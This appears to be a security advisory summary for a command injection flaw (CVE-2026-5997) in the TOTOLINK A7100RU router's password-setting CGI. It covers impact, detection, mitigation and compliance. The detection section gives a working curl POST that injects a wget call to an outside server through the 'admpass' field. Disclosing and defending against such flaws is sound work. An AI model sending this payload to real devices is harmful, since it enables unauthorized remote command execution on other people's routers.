Executive Summary

CVE-2026-5997 is a command injection vulnerability in the TOTOLINK A7100RU router, version 7.4cu.2313_b20191024. It exists in the CGI script cstecgi.cgi, specifically in the function that handles the "admpass" parameter for setting the login password.

The vulnerability occurs because the "admpass" parameter is inserted into a buffer without proper sanitization and then executed as an operating system command. This allows an attacker to remotely send a crafted HTTP POST request with malicious input that gets executed on the router.

In practical terms, an attacker can inject arbitrary OS commands by manipulating the "admpass" argument, leading to full remote command execution on the device.

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Impact Analysis

This vulnerability allows remote attackers to execute arbitrary operating system commands on the affected router without any authentication.

• Complete compromise of the router device, including control over its configuration and operation.
• Potential interception or manipulation of network traffic passing through the router.
• Use of the compromised router as a foothold for further attacks within the network.
• Deployment of malicious payloads or malware via the router.

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Detection Guidance

This vulnerability can be detected by sending a crafted HTTP POST request to the endpoint /cgi-bin/cstecgi.cgi on the affected Totolink A7100RU router. The request should include a JSON payload with the "admpass" parameter set to a command that, if executed, confirms the vulnerability.

For example, a proof of concept involves setting the "admpass" parameter to a command like `wget 192.168.6.1:7777/testpoc`. If the router executes this command, it indicates the presence of the vulnerability.

A detection command could be constructed using curl as follows:

• curl -X POST http://[router_ip]/cgi-bin/cstecgi.cgi -d '{"admpass":"wget http://[your_server]/testpoc"}' -H 'Content-Type: application/json'

Monitoring network traffic for unexpected outbound connections (such as wget requests) from the router to an attacker-controlled server can also help detect exploitation attempts.

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Mitigation Strategies

Immediate mitigation steps include restricting access to the router's management interface to trusted networks only, such as limiting access to the local network or specific IP addresses.

Disable remote management features if they are not required to reduce the attack surface.

Monitor network traffic for suspicious outbound connections that may indicate exploitation attempts.

Apply any available firmware updates or patches provided by the vendor that address this vulnerability.

If no patch is available, consider replacing the affected device or isolating it from critical network segments until a fix is applied.

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Compliance Impact

The vulnerability allows remote attackers to execute arbitrary operating system commands on the affected TOTOLINK A7100RU router due to improper input handling in the password configuration functionality.

Such a vulnerability could lead to unauthorized access, data breaches, or manipulation of sensitive information, which may impact compliance with common standards and regulations like GDPR and HIPAA that require protection of personal and sensitive data.

However, the provided information does not explicitly describe the direct effects on compliance with these standards.

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